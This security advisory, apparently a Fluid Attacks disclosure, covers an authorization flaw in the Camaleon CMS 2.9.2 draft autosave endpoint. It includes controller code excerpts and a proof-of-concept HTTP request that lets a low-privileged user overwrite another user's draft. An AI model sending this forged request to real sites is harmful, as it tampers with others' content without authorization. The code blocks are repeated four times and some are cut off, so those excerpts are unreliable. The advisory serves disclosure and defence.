Camaleon CMS 2.9.2 - Improper authorization in draft autosave endpoint

5,1

Medium

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Oscar Naveda

Summary

Full name

Camaleon CMS 2.9.2 - Improper authorization in draft autosave endpoint

Code name

State

Public

Release date

Affected product

Camaleon CMS

Vendor

Camaleon CMS

Affected version(s)

2.9.2

Package manager

RubyGems

Vulnerability name

Improper authorization control for web services

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

5.1

Exploit available

Yes

Description

Camaleon CMS 2.9.2 contains an improper authorization vulnerability in the administrator draft autosave endpoint. A low-privileged authenticated user can send an arbitrary post_id to POST /admin/post_type/<POST_TYPE_ID>/drafts and overwrite the draft associated with another user's post.

The vulnerable controller trusts the client-controlled post_id parameter to locate an existing draft and then updates that draft without checking whether the current user owns, created, or is authorized to edit the parent post. This compromises content integrity because malicious draft changes can later be reviewed or published by an authorized editor or administrator.

Vulnerability

Root cause

  1. The drafts route is exposed under the admin post type namespace (config/routes/admin.rb:17-33):

    resources :post_type, as: :post_type do
      resources :drafts, controller: 'posts/drafts'
    end
    resources :post_type, as: :post_type do
      resources :drafts, controller: 'posts/drafts'
    end
    resources :post_type, as: :post_type do
      resources :drafts, controller: 'posts/drafts'
    end
    resources :post_type, as: :post_type do
      resources :drafts, controller: 'posts/drafts'
    end
  2. The admin base controller only requires an authenticated user (app/helpers/camaleon_cms/session_helper.rb:153-155):

    def cama_authenticate(redirect_uri = nil)
      params[:return_to] = redirect_uri
      return if cama_sign_in?
    def cama_authenticate(redirect_uri = nil)
      params[:return_to] = redirect_uri
      return if cama_sign_in?
    def cama_authenticate(redirect_uri = nil)
      params[:return_to] = redirect_uri
      return if cama_sign_in?
    def cama_authenticate(redirect_uri = nil)
      params[:return_to] = redirect_uri
      return if cama_sign_in?

    The draft controller must therefore perform resource-level authorization before mutating content.

  3. Normal post actions enforce authorization, but draft actions do not (app/controllers/camaleon_cms/admin/posts_controller.rb:74-132):

    def create
      authorize! :create_post, @post_type
      ...
    end
    
    def update
      ...
      authorize! :update, @post
    end
    def create
      authorize! :create_post, @post_type
      ...
    end
    
    def update
      ...
      authorize! :update, @post
    end
    def create
      authorize! :create_post, @post_type
      ...
    end
    
    def update
      ...
      authorize! :update, @post
    end
    def create
      authorize! :create_post, @post_type
      ...
    end
    
    def update
      ...
      authorize! :update, @post
    end

    CamaleonCms::Admin::Posts::DraftsController#create and #update do not perform equivalent authorize! checks.

  4. The vulnerable draft lookup trusts a user-controlled parent post id (app/controllers/camaleon_cms/admin/posts/drafts_controller.rb:11-23):

    if params[:post_id].present?
      @post_draft = CamaleonCms::Post.drafts.where(post_parent: params[:post_id]).first
      if @post_draft.present?
        @post_draft.set_option('draft_status', @post_draft.status)
        @post_draft.attributes = @post_data
      end
    end
    ...
    if @post_draft.save(validate: false
    
    
    if params[:post_id].present?
      @post_draft = CamaleonCms::Post.drafts.where(post_parent: params[:post_id]).first
      if @post_draft.present?
        @post_draft.set_option('draft_status', @post_draft.status)
        @post_draft.attributes = @post_data
      end
    end
    ...
    if @post_draft.save(validate: false
    
    
    if params[:post_id].present?
      @post_draft = CamaleonCms::Post.drafts.where(post_parent: params[:post_id]).first
      if @post_draft.present?
        @post_draft.set_option('draft_status', @post_draft.status)
        @post_draft.attributes = @post_data
      end
    end
    ...
    if @post_draft.save(validate: false
    
    
    if params[:post_id].present?
      @post_draft = CamaleonCms::Post.drafts.where(post_parent: params[:post_id]).first
      if @post_draft.present?
        @post_draft.set_option('draft_status', @post_draft.status)
        @post_draft.attributes = @post_data
      end
    end
    ...
    if @post_draft.save(validate: false
    
    

    The query is not scoped to cama_current_user, @post_type.posts, or a parent post that the current user can update.

  5. The server assigns the attacker-supplied parent id to the draft data (app/controllers/camaleon_cms/admin/posts/drafts_controller.rb:54-67):

    post_data[:status] = 'draft_child'
    post_data[:post_parent] = params[:post_id]
    post_data[:user_id] = cama_current_user.id if post_data[:user_id].blank?
    post_data[:status] = 'draft_child'
    post_data[:post_parent] = params[:post_id]
    post_data[:user_id] = cama_current_user.id if post_data[:user_id].blank?
    post_data[:status] = 'draft_child'
    post_data[:post_parent] = params[:post_id]
    post_data[:user_id] = cama_current_user.id if post_data[:user_id].blank?
    post_data[:status] = 'draft_child'
    post_data[:post_parent] = params[:post_id]
    post_data[:user_id] = cama_current_user.id if post_data[:user_id].blank?

Confirmed source-to-sink path

  1. Source: authenticated attacker controls post_id and post[...] fields in the draft autosave request.

  2. Route: POST /admin/post_type/<POST_TYPE_ID>/drafts reaches CamaleonCms::Admin::Posts::DraftsController#create.

  3. Lookup: CamaleonCms::Post.drafts.where(post_parent: params[:post_id]).first retrieves the draft for the supplied parent post id.

  4. Mutation: @post_draft.attributes = @post_data replaces draft fields with attacker-controlled values.

  5. Persistence: @post_draft.save(validate: false) stores the modified draft without validating ownership or edit permissions.

Authorization bypass

The intended permission model is defined in app/models/camaleon_cms/ability.rb:38-64. A user with only post-type edit privileges can update posts they own, while edit_other is required to update another user's content. The draft endpoint bypasses that model because it never calls authorize! :update, parent_post or scopes the draft lookup to posts the current user may edit.

Relevant code:

  • config/routes/admin.rb:17-33 (draft routes)

  • app/helpers/camaleon_cms/session_helper.rb:153-155 (authentication only)

  • app/controllers/camaleon_cms/admin/posts_controller.rb:74-132 (authorization on normal create/update flows)

  • app/controllers/camaleon_cms/admin/posts/drafts_controller.rb:11-23 (vulnerable draft lookup and save)

  • app/controllers/camaleon_cms/admin/posts/drafts_controller.rb:54-67 (server-side draft params)

  • app/models/camaleon_cms/ability.rb:38-64 (intended post authorization rules)

  • app/assets/javascripts/camaleon_cms/admin/_post.js:21-31 (client-side autosave sends post_id)

  • app/views/camaleon_cms/admin/posts/form.html.erb:80-85 (client initializes draft post_id and endpoint)

PoC

Preconditions

  • A Camaleon CMS 2.9.2 instance.

  • User A has permissions to create or edit content and has a post with an associated draft.

  • User B is authenticated with lower privileges and is not authorized to edit User A's post.

  • User B has a valid session cookie and CSRF token for the admin area.

Step 1 - Create a victim draft

As User A, create or edit a post and allow Camaleon CMS to generate a draft. Record the parent post id:

USER_A_POST_ID=<victim-parent-post-id>
POST_TYPE_ID=<post-type-id>
USER_A_POST_ID=<victim-parent-post-id>
POST_TYPE_ID=<post-type-id>
USER_A_POST_ID=<victim-parent-post-id>
POST_TYPE_ID=<post-type-id>
USER_A_POST_ID=<victim-parent-post-id>
POST_TYPE_ID=<post-type-id>

Step 2 - Send a forged draft autosave request

As User B, send a request to the draft endpoint with User A's parent post id:

POST /admin/post_type/<POST_TYPE_ID>/drafts HTTP/1.1
Host: <HOST>
Cookie: <USER_B_SESSION_COOKIES>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
X-CSRF-Token: <USER_B_CSRF_TOKEN>

post_id=<USER_A_POST_ID>

POST /admin/post_type/<POST_TYPE_ID>/drafts HTTP/1.1
Host: <HOST>
Cookie: <USER_B_SESSION_COOKIES>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
X-CSRF-Token: <USER_B_CSRF_TOKEN>

post_id=<USER_A_POST_ID>

POST /admin/post_type/<POST_TYPE_ID>/drafts HTTP/1.1
Host: <HOST>
Cookie: <USER_B_SESSION_COOKIES>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
X-CSRF-Token: <USER_B_CSRF_TOKEN>

post_id=<USER_A_POST_ID>

POST /admin/post_type/<POST_TYPE_ID>/drafts HTTP/1.1
Host: <HOST>
Cookie: <USER_B_SESSION_COOKIES>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
X-CSRF-Token: <USER_B_CSRF_TOKEN>

post_id=<USER_A_POST_ID>

Expected response:

{
  "draft": {
    "id": <DRAFT_ID>
  },
  "_drafts_path": "/admin/post_type/<POST_TYPE_ID>/drafts/<DRAFT_ID>

{
  "draft": {
    "id": <DRAFT_ID>
  },
  "_drafts_path": "/admin/post_type/<POST_TYPE_ID>/drafts/<DRAFT_ID>

{
  "draft": {
    "id": <DRAFT_ID>
  },
  "_drafts_path": "/admin/post_type/<POST_TYPE_ID>/drafts/<DRAFT_ID>

{
  "draft": {
    "id": <DRAFT_ID>
  },
  "_drafts_path": "/admin/post_type/<POST_TYPE_ID>/drafts/<DRAFT_ID>

Step 3 - Verify unauthorized modification

Log back in as User A and inspect the draft associated with the original post. The title, slug, and content have been overwritten with the values supplied by User B.

Expected result:

  • User B cannot normally update User A's post through PostsController#update.

  • User B can still overwrite the draft for User A's post through DraftsController#create by supplying User A's post_id.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-10715 to refer to this issue from now on.

System Information

  • Camaleon CMS

  • Version: 2.9.2

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Naveda from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.